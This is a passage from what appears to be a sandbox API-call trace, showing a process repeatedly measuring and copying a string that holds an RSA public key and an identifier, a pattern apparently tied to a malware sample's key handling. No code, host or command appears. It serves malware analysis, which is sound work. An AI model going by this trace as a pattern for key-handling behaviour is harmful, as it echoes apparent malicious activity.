KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.359] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.359] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned 544 [0122.360] lstrcpyW (in: lpString1=0x51a7c0, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK\"}" [0122.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3486ac0 | out: hHeap=0x810000) returned 1 [0122.360] lstrlenA (lpString="-----BEGIN PUBLIC 